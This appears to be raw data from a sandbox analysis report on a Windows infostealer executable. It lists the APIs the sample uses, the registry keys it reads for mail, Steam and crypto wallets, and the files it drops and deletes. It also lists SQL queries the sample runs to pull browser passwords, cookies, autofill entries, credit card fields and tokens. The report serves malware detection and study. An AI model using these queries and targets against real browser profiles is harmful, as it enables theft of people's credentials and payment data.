"00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "SetHandleInformation"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "NtWriteFile"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")50:T655,"Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "Software\Valve\Steam" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp "SOFTWARE\monero"" in Source: 00000000-00001720.00000000.180784.04DC0000.00000040.mdmp, "SOFTWARE\monero-project\monero-core" in Source: 00000000-00001720.00000000.180784.050C0000.00000040.mdmp51:T45a,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Tries to steal crypto wallet extension (string) Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform decryption (API string) Matched sigs: PCAP contains base64 strings Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Found Crypto currency wallets related strings Matched sigs: Calls an API typically used to decrypt the data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to encrypt/encode message (API string)52:T954,"bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\ProgramData\GIIIECBGDHJJKFIDAKJD" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\ProgramData\IIJDBGDG" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\ProgramData\CAKFIJDHJEGIDHJKKKJJ" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\ProgramData\FCBAECGI" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\freebl3[1].dll" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\mozglue[1].dll" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\msvcp140[1].dll" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\nss3[1].dll" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\softokn3[1].dll" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\vcruntime140[1].dll" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite-shm" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite-wal" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\ProgramData\FIIDBKJJDGHDHJKEHJDBFCFBAE" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\ProgramData\GIJJKKJJDAAAAAKFHJJDGDAFBA" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite-shm" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite-wal" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\ProgramData\KEBGHCBAEGDHIDGCBAECGIECGH" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\ProgramData\CAFIEBKKJJDAKFHIDBFH" for deletion "bf3bc85903e812ff6a136924bf8ab376.exe" marked "C:\ProgramData\chrome.dll" for deletion53:Tf5e,"bf3bc85903e812ff6a136924bf8ab376.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000f880ef009c80ef00226e2b7400000103000000002d6e2b745623265a2d000000ecb774752081ef000000bb0038e9080338af070301000000800000006080ef000000bb00e480ef0070c82c7432d2f82efeffffff2d000000d0cc837527000000b480ef00856a2d741c233274f480ef00f85f2d7408000000bb692c74b2692c743e23265a2d000000ecb7747527000000d0cc8375c880ef002d000000d0cc837527000000f880ef00856a2d741c2332744081ef007e8a8275ee8c8275738a8275a20875a42d000000ecb7747527000000d0cc8375bc12010350120103a20875a40881ef00fc52c075f481ef00e0848275da7824d1feffffff738a8275 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000090350054371000000002a005d73fc8656732a005d73fb8cf0760000000000000000fc8656734888ef000000000000000000000000002a005d73090000009090090309000000fc8656730000000050054371180000001a297588a383b3725899ee005325007690fbef0040b1b37276d02ffafeffffff0888ef003a90b272b887ef0005400080000000005390b2723488ef00000000000000000000000000000000000000000000000000010000000000000001000000000000003088ef00000000004088ef00000000003488ef0000000000000000000000000046149400322975884888ef0084dad173d99601f94c88ef00dab9d17300003a714088ef00 (UID: 00000000-00001720)54:Tb41,"bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "DISPLAYNAME") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "DISPLAYVERSION") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYNAME") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYVERSION") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "DISPLAYNAME") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX"; Key: "DISPLAYNAME") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME"; Key: "DISPLAYNAME") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE"; Key: "DISPLAYNAME") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\GOOGLE CHROME") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\GOOGLE CHROME"; Key: "DISPLAYNAME") "bf3bc85903e812ff6a136924bf8ab376.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\GOOGLE CHROME"; Key: "DISPLAYVERSION")55:Tfff,"nss3_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720] "chrome.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\chrome.dll]- [targetUID: 00000000-00001720] "freebl3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\freebl3.dll]- [targetUID: 00000000-00001720] "mozglue.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\mozglue.dll]- [targetUID: 00000000-00001720] "msvcp140_1_.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720] "softokn3_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720] "vcruntime140.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\vcruntime140.dll]- [targetUID: 00000000-00001720] "KEBGHCBAEGDHIDGCBAECGIECGH" has type "SQLite 3.x database user version 52 last written using SQLite version 3025001 page size 32768 writer version 2 read version 2 file counter 5 database pages 39 cookie 0x21 schema 4 UTF-8 version-valid-for 5"- Location: [%ALLUSERSPROFILE%\KEBGHCBAEGDHIDGCBAECGIECGH]- [targetUID: 00000000-00001720] "FIIDBKJJDGHDHJKEHJDBFCFBAE" has type "SQLite 3.x database user version 9 last written using SQLite version 3020001 page size 32768 writer version 2 read version 2 file counter 4 database pages 4 cookie 0x2 schema 4 UTF-8 version-valid-for 4"- Location: [%ALLUSERSPROFILE%\FIIDBKJJDGHDHJKEHJDBFCFBAE]- [targetUID: 00000000-00001720] "GIJJKKJJDAAAAAKFHJJDGDAFBA" has type "SQLite 3.x database user version 4 last written using SQLite version 3020001 page size 32768 file counter 6 database pages 6 cookie 0x5 schema 4 UTF-8 version-valid-for 6"- Location: [%ALLUSERSPROFILE%\GIJJKKJJDAAAAAKFHJJDGDAFBA]- [targetUID: 00000000-00001720] "FCBAECGI" has type "SQLite 3.x database last written using SQLite version 3039003 page size 2048 file counter 12 database pages 65 cookie 0x35 schema 4 UTF-8 version-valid-for 12"- Location: [%ALLUSERSPROFILE%\FCBAECGI]- [targetUID: 00000000-00001720] "IIJDBGDG" has type "SQLite 3.x database last written using SQLite version 3044002 page size 2048 file counter 3 database pages 64 cookie 0x26 schema 4 UTF-8 version-valid-for 3"- Location: [%ALLUSERSPROFILE%\IIJDBGDG]- [targetUID: 00000000-00001720] "CAKFIJDHJEGIDHJKKKJJ" has type "SQLite 3.x database last written using SQLite version 3038005 page size 2048 file counter 2 database pages 27 cookie 0x10 schema 4 UTF-8 version-valid-for 2"- Location: [%ALLUSERSPROFILE%\CAKFIJDHJEGIDHJKKKJJ]- [targetUID: 00000000-00001720] "GIIIECBGDHJJKFIDAKJD" has type "SQLite 3.x database last written using SQLite version 3044002 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1"- Location: [%ALLUSERSPROFILE%\GIIIECBGDHJJKFIDAKJD]- [targetUID: 00000000-00001720] "CAFIEBKKJJDAKFHIDBFH" has type "ASCII text with very long lines (679) with CRLF line terminators"- Location: [%ALLUSERSPROFILE%\CAFIEBKKJJDAKFHIDBFH]- [targetUID: 00000000-00001720] "json_1_.json" has type "JSON data"- [targetUID: 00000000-00001720] "nss3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\nss3.dll]- [targetUID: 00000000-00001720] "freebl3_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720] "mozglue_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720] "msvcp140.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\msvcp140.dll]- [targetUID: 00000000-00001720] "softokn3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\softokn3.dll]- [targetUID: 00000000-00001720] "vcruntime140_1_.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720]56:Ta64,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "K32EnumProcessModules" (Indicator: "EnumProcessModules"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "4940025486,4572,3118,,CreateToolhelp32Snapshot,kernel32.dll,"00:47:01.890",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")57:T742,"SELECT fieldname, value FROM moz_formhistory" (Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp, Indicator: "select fieldname, value from moz_formhistory") "SELECT origin_url, username_value, password_value FROM logins" (Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp, Indicator: "select origin_url, username_value, password_value from logins") "SELECT url FROM urls LIMIT 1000" (Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp, Indicator: "select url from urls limit 1000") "SELECT url FROM moz_places LIMIT 1000" (Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp, Indicator: "select url from moz_places limit 1000") "SELECT name, value FROM autofill" (Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp, Indicator: "select name, value from autofill") "SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies" (Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp, Indicator: "select host_key, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800 name encrypted_value from cookies"), "SELECT host isHttpOnly path isSecure expiry name value FROM moz_cookies" (Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp, Indicator: "select host ishttponly path issecure expiry name value from moz_cookies"), "SELECT name_on_card expiration_month expiration_year card_number_encrypted FROM credit_cards" (Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp, Indicator: "select name_on_card expiration_month expiration_year card_number_encrypted from credit_cards"), "SELECT service encrypted_token FROM token_service" (Source: 00000000-00001720.00000000.180784.050C0000.00000040.mdmp, Indicator: "select service encrypted_token from token_service")58:T86f,"bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\65EQ3A95.htm" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\json[1].json" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\json[1].json" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\freebl3[1].dll" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\mozglue[1].dll" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\msvcp140[1].dll" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\nss3[1].dll" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\softokn3[1].dll" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\vcruntime140[1].dll" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\9SSPAW46\65EQ3A95.htm" "bf3bc85903e812ff6a136924bf8ab376.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\4EKOOWYY\json[1].json"18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"activity":{"behavior_tags":["infostealer"],"file_activity":{"dropped_files":[],"extracted_files":[{"name":"nss3.dll","sha256":"ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"CAKFIJDHJEGIDHJKKKJJ","sha256":"c75084ee623451406f12a4e30624ffd844cfdada8204356a14084a3e10073926","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}],"verdict":"undetected"},{"name":"FIIDBKJJDGHDHJKEHJDBFCFBAE","sha256":"d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_t